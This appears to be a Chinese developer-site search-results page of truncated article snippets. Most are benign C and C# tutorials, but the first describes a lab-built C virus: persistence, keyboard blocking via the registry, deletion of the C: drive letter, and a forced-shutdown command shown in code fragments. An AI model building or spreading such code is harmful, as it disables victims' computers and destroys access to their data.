首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

C语言编写简易病毒

本次实验设计的是一个基于C语言的恶意代码,其执行流程如下: 1、 在病毒第一次执行时,即检测到注册表的任务管理器没有被禁用,则病毒依次执行以下功能: 创建开机启动项,在系统目录路径下面复制文件,将其作为自启动路径...程序继续之心那个,弹窗显示C盘盘符破坏成功。如图3.4所示。系统盘盘符被删除之后桌面上的一切快捷方式失效,开始菜单中全部变为无效的快捷方式,点开计算机窗口没有反应,执行效果如图3.5所示。..." "\x02\x00\x23\x00" "\x02\x00\x24\x00" "\x02\x00\x25\x00" "\x02\x00\x26\x00" "\x02\x00\x2C\...RegModifyBackroud(); //修改桌面背景 RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入 Sleep(5000); if (DeleteDrive("C:...//C://winnt"); system("title 警告"); system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!""")

4.7K31
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    C语言实现简易三子棋项目

    模块化编程 将一个项目中的各个模块的代码放在不同的.c文件里,在.h文件(头文件)里提供外部可调用函数的声明,其它.c文件想使用其中的代码时,只需要 #include “XXX.h” (注:自定义的头文件并不是...— 别忘记在原本的.c文件中进行引用 我们现在原.c文件中设置一个 game()函数 用来展示游戏功能。 并且这个game()函数 需要连接在switch case 1:之后。...= col - 1) { printf(" %c |", arr[i][j]); } else printf(" %c \n",arr[i][j]); }...由于只有第四种状态是不结束游戏的,我们在下棋循环中先对状态4进行判断,如果是状态4,我们返回c。如果Iswin()的返回值 != c,那么就说明游戏结束了。如果 == c,下棋循环仍进行。...= col - 1) { printf(" %c |", arr[i][j]); } else printf(" %c \n",arr[i][j]); }

    8110

    C#入门教程(一)–.Net平台技术介绍、C#语言开发工具

    二、C#语言C Sharp语言)介绍 C#语言是一种运行在.Net平台之下的一种编程语言。我们用C#语言进行开发程序。在这里我们可以理解为,英语俄语等其他语言。他必须基于.Net平台之下进行开发。....net平台把C#语言翻译成机器语言。以达到计算机可以正确运行我们所写的程序的目的。 三、.Net平台都能做什么? 1.基于浏览器的网络应用。例如:我们通常所使用的百度、新浪。都是网络应用程序的范畴。...3.B/S与C/S的区别: 1).硬件环境不同: C/S 一般需要用户进行安装.Net的环境。而B/S一般只要有操作系统和浏览器就可以了。B/S架构实现了跨平台(任何平台)。...语言开发工具。...这是一个开发工具。我们在这个工具里面进行写代码。开发工具的下载:http://msdn.itellyou.cn/。(在本教程中,不会提供具体的问题解答,只会提供方法让大家去搜索。

    1.5K30

    简易计算器的实现:使用C语言进行基础算术运算

    简易计算器的实现:使用C语言进行基础算术运算 摘要 亲爱的编程爱好者们,你们好!我是猫头虎博主,今天我们将一起探讨如何使用C语言实现一个简易的计算器。...此外,我们也将深入探讨C语言在这一过程中的关键作用和核心编程技巧。 C语言计算器制作、基础算术运算、编程入门技巧。...在这个过程中,我们将使用C语言,一种被广泛应用在多种领域的强大编程语言C语言以其出色的性能和灵活性受到许多程序员的青睐,也是学习算法和数据结构的绝佳选择。...正文 C语言简介 C语言,由Dennis Ritchie在Bell实验室开发,是一种通用的、过程式的编程语言。...\n", num1, operator, num2, result); return 0; // 返回0表示程序正常结束 } 总结 通过深入解析C语言实现简易计算器的过程,我们不仅学习了基本的算术运算和用户输入输出

    39910

    C 风格简易本地 log 系统

    文章目录 1.系统简介 2.源码 2.1 头文件 localLog.h 2.2 源文件 localLog.cpp 2.3 使用示例 demo.cpp 3.C++ 风格的简易 log 系统 1.系统简介...该 C 风格简易 log 日志系统,适合与Linux平台系统,主要用于格式化输出日志到本地指定的文件中,可指定log文件数目、最大大小、行数、按时间切换等功能,可满足基本的log日志功能。...fclose(pstLogFile->pLogFile); return ShiftFiles(pstLogFile); } 2.3 使用示例 demo.cpp /* *@brief:C风格简易...argument"); EventLog("this is event log"); EventLog("this is event log whith %s","argument"); } 3.C+...+ 风格的简易 log 系统 除了上面 C 风格的 log 系统,还有一款 C++ 风格的 log 系统可供使用,参见本人的另一篇博文:C++实现简易log日志系统。

    54610
    领券